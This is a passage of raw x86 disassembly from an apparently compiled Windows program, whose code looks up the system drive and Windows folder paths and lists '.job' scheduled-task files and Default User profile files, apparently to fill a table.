mov ebx, dword [ebp - 0x2c]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x411d6f
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x411d82
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x34], 0
push 0
push dword [ebp - 0x34]
push dword [ebp - 0x30]
call fcn.00403ae9
mov dword [ebp - 0x38], eax
push VariantClear
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x411db4
mov eax, 0x4b0200
push eax
push 0x80000301
push 0
push 3
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x411e01
push ebx
call fcn.00434a35
add esp, 4
mov ebx, dword [ebp - 0x2c]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x411e1e
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x411e31
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
push VariantClear
push 0
mov ebx, dword [ebp - 0x30]
mov eax, dword [ebx]
test eax, eax
jne 0x411e4e
mov eax, 0x4b0200
push eax
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
mov ebx, dword [ebp - 0x2c]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x411ea8
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x411ebb
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x34], esp
push 0x100
push 0x15c
mov eax, dword [ebp - 0x18]
push eax
push 0x15c
call fcn.00434a3b
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x38], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push 0x80
mov ebx, dword [ebp - 0x30]
push dword [ebx]
mov eax, 6
call fcn.00434a59
cmp dword [ebp - 0x34], esp
je 0x411f5b
push 6
call fcn.00434a53
add esp, 4
push eax
mov ebx, dword [ebp - 0x38]
push ebx
mov edi, dword [ebp - 0x3c]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x411fb0
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x411fae
imul eax, dword [edi]
jmp 0x411fa3
mov ecx, eax
cmp ecx, 0x100
jle 0x411fbd
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x100
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x411ffb
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x411ff9
imul eax, dword [edi]
jmp 0x411fee
mov ecx, eax
cmp ecx, 0x50
jle 0x412005
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x50
call fcn.00434a35
add esp, 4
pop eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
jne 0x4121b6
mov ebx, dword [ebp - 0x2c]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x412044
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x412057
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x34], esp
push 0x111
push 0x15c
mov eax, dword [ebp - 0x18]
push eax
push 0x15c
call fcn.00434a3b
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x38], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push 0x80
mov ebx, dword [ebp - 0x30]
push dword [ebx]
mov eax, 6
call fcn.00434a59
cmp dword [ebp - 0x34], esp
je 0x4120f7
push 6
call fcn.00434a53
add esp, 4
push eax
mov ebx, dword [ebp - 0x38]
push ebx
mov edi, dword [ebp - 0x3c]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x41214c
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x41214a
imul eax, dword [edi]
jmp 0x41213f
mov ecx, eax
cmp ecx, 0x100
jle 0x412159
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x100
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x412197
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x412195
imul eax, dword [edi]
jmp 0x41218a
mov ecx, eax
cmp ecx, 0x50
jle 0x4121a1
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x50
call fcn.00434a35
add esp, 4
pop eax
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x34], esp
mov ebx, dword [ebp - 0x30]
push dword [ebx]
push dword [ebp - 4]
mov eax, 7
call fcn.00434a59
cmp dword [ebp - 0x34], esp
je 0x4121e3
push 6
call fcn.00434a53
add esp, 4
push 0x80000301
push 0
push eax
push 0
push 0
push 0
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486080
call fcn.00434a5f
add esp, 0x34
pop eax
pop ebx
pop ecx
jmp 0x411a65
add esp, 0xc
mov ecx, 0
push ecx
shl ecx, 2
add ecx, 8
push ecx
call fcn.00434a3b
add esp, 4
mov edi, eax
mov dword [edi], 1
add edi, 4
pop ecx
push eax
push ecx
mov dword [edi], 0
add edi, 4
mov ebx, dword [ebp - 0x10]
call fcn.00401232
pop edx
test ecx, ecx
je 0x412286
push edi
push edx
push ecx
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x41227c
push ebx
call fcn.00434a35
add esp, 4
pop ebx
pop ecx
add ebx, 4
dec ecx
jne 0x41226b
pop edx
pop edi
test edx, edx
je 0x412294
mov ecx, edx
xor eax, eax
rep stosd dword es:[edi], eax
push dword [ebp - 0x10]
call fcn.00434a35
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov ecx, 0
push ecx
shl ecx, 2
add ecx, 8
push ecx
call fcn.00434a3b
add esp, 4
mov edi, eax
mov dword [edi], 1
add edi, 4
pop ecx
push eax
push ecx
mov dword [edi], 0
add edi, 4
mov ebx, dword [ebp - 0x2c]
call fcn.00401232
pop edx
test ecx, ecx
je 0x4122fd
push edi
push edx
push ecx
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x4122f3
push ebx
call fcn.00434a35
add esp, 4
pop ebx
pop ecx
add ebx, 4
dec ecx
jne 0x4122e2
pop edx
pop edi
test edx, edx
je 0x41230b
mov ecx, edx
xor eax, eax
rep stosd dword es:[edi], eax
push dword [ebp - 0x2c]
call fcn.00434a35
add esp, 4
pop eax
mov dword [ebp - 0x2c], eax
push VariantClear
push 0
push str.SystemDrive
push 1
mov ebx, 0x4352f0
call fcn.00434a41
add esp, 0x10
mov dword [ebp - 0x30], eax
push str.Documents_and_SettingsDefault_User_
push dword [ebp - 0x30]
mov ecx, 2
call fcn.004011ce
add esp, 8
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x412363
push ebx
call fcn.00434a35
add esp, 4
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x412377
push ebx
call fcn.00434a35
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0
push 0
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.00414e4b
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x4123ac
push ebx
call fcn.00434a35
add esp, 4
cmp dword [ebp - 0x34], 0
jle 0x412da9
mov ebx, 0xc
call fcn.0040122a
push VariantClear
push 0
push 0x4d1616
push 0
push 0
push 0
push 0x20004
push 0x1601006d
push 0x52010001
push 7
mov eax, 1
mov ebx, 0x486160
call fcn.00434a5f
add esp, 0x58
mov dword [ebp - 0x14], eax
push VariantClear
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x41240e
mov eax, 0x4b0200
push eax
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
mov dword [ebp - 0x30], esp
push 0x100
push 0x15c
mov eax, dword [ebp - 0x18]
push eax
push 0x15c
call fcn.00434a3b
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push 0x80
push dword [ebp - 0x20]
mov eax, 6
call fcn.00434a59
cmp dword [ebp - 0x30], esp
je 0x4124e1
push 6
call fcn.00434a53
add esp, 4
push eax
mov ebx, dword [ebp - 0x34]
push ebx
mov edi, dword [ebp - 0x38]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x412536
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x412534
imul eax, dword [edi]
jmp 0x412529
mov ecx, eax
cmp ecx, 0x100
jle 0x412543
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x100
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x412581
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x41257f
imul eax, dword [edi]
jmp 0x412574
mov ecx, eax
cmp ecx, 0x50
jle 0x41258b
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x50
call fcn.00434a35
add esp, 4
pop eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jne 0x412702
mov dword [ebp - 0x30], esp
push 0x111
push 0x15c
mov eax, dword [ebp - 0x18]
push eax
push 0x15c
call fcn.00434a3b
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push 0x80
push dword [ebp - 0x20]
mov eax, 6
call fcn.00434a59
cmp dword [ebp - 0x30], esp
je 0x412643
push 6
call fcn.00434a53
add esp, 4
push eax
mov ebx, dword [ebp - 0x34]
push ebx
mov edi, dword [ebp - 0x38]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x412698
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x412696
imul eax, dword [edi]
jmp 0x41268b
mov ecx, eax
cmp ecx, 0x100
jle 0x4126a5
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x100
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x4126e3
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x4126e1
imul eax, dword [edi]
jmp 0x4126d6
mov ecx, eax
cmp ecx, 0x50
jle 0x4126ed
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x50
call fcn.00434a35
add esp, 4
pop eax
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x34], esp
mov ebx, dword [ebp - 0x30]
push dword [ebx]
push dword [ebp - 4]
mov eax, 7
call fcn.00434a59
cmp dword [ebp - 0x34], esp
je 0x41272f
push 6
call fcn.00434a53
add esp, 4
push 0x80000301
push 0
push eax
push 0
push 0
push 0
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486080
call fcn.00434a5f
add esp, 0x34
mov ebx, dword [ebp - 0x10]
call fcn.0040325a
xor ecx, ecx
push eax
lea eax, [ebp - 0x1c]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x412da6
call fcn.0040bc84
mov ebx, dword [ebp - 0x10]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x4127ae
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x4127c1
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push 1
mov ebx, 6
call fcn.0040122a
push VariantClear
push 0
mov ebx, dword [ebp - 0x30]
mov eax, dword [ebx]
test eax, eax
jne 0x412800
mov eax, 0x4b0200
push eax
push 0
push 0
push 0
push 0x20004
push 0x1601006d
push 0x52010001
push 7
mov eax, 1
mov ebx, 0x486160
call fcn.00434a5f
add esp, 0x58
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x2c]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x41284d
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x412860
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
push VariantClear
push 0
mov ebx, dword [ebp - 0x30]
mov eax, dword [ebx]
test eax, eax
jne 0x41287d
mov eax, 0x4b0200
push eax
push 0x80000301
push 0
push 5
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
mov ebx, dword [ebp - 0x2c]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x4128d7
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x4128ea
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x2c]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x41290f
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x412922
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push dword [ebp - 0x34]
call fcn.0041520d
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
push eax
mov ebx, dword [ebp - 0x30]
mov ebx, dword [ebx]
test ebx, ebx
je 0x41294b
push ebx
call fcn.00434a35
add esp, 4
pop eax
mov ebx, dword [ebp - 0x30]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x2c]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x41296e
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x412981
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
push dword [ebp - 0x30]
call fcn.00414d87
test eax, eax
je 0x4129e1
push VariantClear
push 0
push 0x4d14b8
push 0x80000301
push 0
push 1
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
mov ebx, dword [ebp - 0x2c]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x4129fe
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x412a11
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
push VariantClear
push 0
mov ebx, dword [ebp - 0x30]
mov eax, dword [ebx]
test eax, eax
jne 0x412a2e
mov eax, 0x4b0200
push eax
push 0x80000301
push 0
push 2
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
mov ebx, dword [ebp - 0x2c]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x412a88
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x412a9b
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x34], 0
push 0
push dword [ebp - 0x34]
push dword [ebp - 0x30]
call fcn.00403ae9
mov dword [ebp - 0x38], eax
push VariantClear
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x412acd
mov eax, 0x4b0200
push eax
push 0x80000301
push 0
push 3
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x412b1a
push ebx
call fcn.00434a35
add esp, 4
mov ebx, dword [ebp - 0x2c]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x412b37
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x412b4a
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
push VariantClear
push 0
mov ebx, dword [ebp - 0x30]
mov eax, dword [ebx]
test eax, eax
jne 0x412b67
mov eax, 0x4b0200
push eax
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
mov ebx, dword [ebp - 0x2c]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x412bc1
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x412bd4
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x34], esp
push 0x100
push 0x15c
mov eax, dword [ebp - 0x18]
push eax
push 0x15c
call fcn.00434a3b
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x38], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push 0x80
mov ebx, dword [ebp - 0x30]
push dword [ebx]
mov eax, 6
call fcn.00434a59
cmp dword [ebp - 0x34], esp
je 0x412c74
push 6
call fcn.00434a53
add esp, 4
push eax
mov ebx, dword [ebp - 0x38]
push ebx
mov edi, dword [ebp - 0x3c]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x412cc9
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x412cc7
imul eax, dword [edi]
jmp 0x412cbc
mov ecx, eax
cmp ecx, 0x100
jle 0x412cd6
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x100
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x412d14
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x412d12
imul eax, dword [edi]
jmp 0x412d07
mov ecx, eax
cmp ecx, 0x50
jle 0x412d1e
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x50
call fcn.00434a35
add esp, 4
pop eax
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x34], esp
mov ebx, dword [ebp - 0x30]
push dword [ebx]
push dword [ebp - 4]
mov eax, 7
call fcn.00434a59
cmp dword [ebp - 0x34], esp
je 0x412d60
push 6
call fcn.00434a53
add esp, 4
push 0x80000301
push 0
push eax
push 0
push 0
push 0
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486080
call fcn.00434a5f
add esp, 0x34
pop eax
pop ebx
pop ecx
jmp 0x41277e
add esp, 0xc
mov ecx, 0
push ecx
shl ecx, 2
add ecx, 8
push ecx
call fcn.00434a3b
add esp, 4
mov edi, eax
mov dword [edi], 1
add edi, 4
pop ecx
push eax
push ecx
mov dword [edi], 0
add edi, 4
mov ebx, dword [ebp - 0x10]
call fcn.00401232
pop edx
test ecx, ecx
je 0x412e03
push edi
push edx
push ecx
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x412df9
push ebx
call fcn.00434a35
add esp, 4
pop ebx
pop ecx
add ebx, 4
dec ecx
jne 0x412de8
pop edx
pop edi
test edx, edx
je 0x412e11
mov ecx, edx
xor eax, eax
rep stosd dword es:[edi], eax
push dword [ebp - 0x10]
call fcn.00434a35
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov ecx, 0
push ecx
shl ecx, 2
add ecx, 8
push ecx
call fcn.00434a3b
add esp, 4
mov edi, eax
mov dword [edi], 1
add edi, 4
pop ecx
push eax
push ecx
mov dword [edi], 0
add edi, 4
mov ebx, dword [ebp - 0x2c]
call fcn.00401232
pop edx
test ecx, ecx
je 0x412e7a
push edi
push edx
push ecx
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x412e70
push ebx
call fcn.00434a35
add esp, 4
pop ebx
pop ecx
add ebx, 4
dec ecx
jne 0x412e5f
pop edx
pop edi
test edx, edx
je 0x412e88
mov ecx, edx
xor eax, eax
rep stosd dword es:[edi], eax
push dword [ebp - 0x2c]
call fcn.00434a35
add esp, 4
pop eax
mov dword [ebp - 0x2c], eax
push VariantClear
push 0
push str.windir
push 1
mov ebx, 0x4352f0
call fcn.00434a41
add esp, 0x10
mov dword [ebp - 0x30], eax
push str.Tasks
push dword [ebp - 0x30]
mov ecx, 2
call fcn.004011ce
add esp, 8
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x412ee0
push ebx
call fcn.00434a35
add esp, 4
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x412ef4
push ebx
call fcn.00434a35
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
push 1
mov eax, str..job
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.00414e4b
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x412f2a
push ebx
call fcn.00434a35
add esp, 4
cmp dword [ebp - 0x34], 0
jle 0x413a01
mov ebx, 0xc
call fcn.0040122a
push VariantClear
push 0
push 0x4d1633
push 0
push 0
push 0
push 0x20004
push 0x1601006d
push 0x52010001
push 7
mov eax, 1
mov ebx, 0x486160
call fcn.00434a5f
add esp, 0x58
mov dword [ebp - 0x14], eax
push VariantClear
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x412f8c
mov eax, 0x4b0200
push eax
push 1
mov ebx, 0x435020
call fcn.00434a41
add esp, 0x10
mov dword [ebp - 0x38], eax
fild dword [ebp - 0x38]
fstp qword [ebp - 0x38]
fld qword [ebp - 0x38]
fsub qword [0x4b0279]
fstp qword [ebp - 0x40]
fld qword [ebp - 0x40]
call fcn.00401252
push 0x80000301
push 0
push eax
push VariantClear
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x412fd7
mov eax, 0x4b0200
push eax
push 2
mov ebx, 0x435310
call fcn.00434a41
add esp, 0x1c
mov dword [ebp - 0x44], eax
push VariantClear
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x413000
mov eax, 0x4b0200
push eax
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
